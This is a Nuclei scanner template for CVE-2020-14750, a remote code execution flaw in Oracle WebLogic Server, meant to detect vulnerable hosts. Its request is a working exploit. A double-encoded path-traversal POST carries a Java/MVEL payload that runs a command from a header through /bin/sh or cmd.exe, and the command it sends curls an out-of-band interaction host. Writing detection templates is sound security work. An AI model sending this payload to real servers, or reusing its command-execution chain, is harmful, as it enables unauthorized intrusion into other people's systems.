nuclei-templates/cves/2020/CVE-2020-14750.yaml

id: CVE-2020-14750

info:
  name: CVE-2020-14750
  author: princechaddha,DhiyaneshDk
  severity: critical
  description: |
    This Security Alert addresses CVE-2020-14750, a remote code execution vulnerability in Oracle WebLogic Server.
    This vulnerability is related to CVE-2020-14882, which was addressed in the October 2020 Critical Patch Update.
    It is remotely exploitable without authentication, i.e., may be exploited over a network without the need for a username and password.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14750
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14750
    - https://www.oracle.com/security-alerts/alert-cve-2020-14750.html
    - https://github.com/pprietosanchez/CVE-2020-14750
  metadata:
    verified: true
  tags: cve,cve2020,rce,oracle,weblogic

requests:
  - raw:
      - |
        POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
        Host: {{Hostname}}
        User-Agent: curl/7.79.1
        Accept: */*
        cmd: curl {{interactsh-url}}
        Content-Type: application/x-www-form-urlencoded


        _nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
        weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
        java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
        field.setAccessible(true);
        Object obj = field.get(adapter);
        weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
        String cmd = req.getHeader("cmd");
        String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
        if (cmd != null) {
            String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
            weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
            res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
            res.getServletOutputStream().flush();
            res.getWriter().write("");
        }executeThread.interrupt();
        ");

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol   # Confirms DNS Interaction
        words:
          - "dns"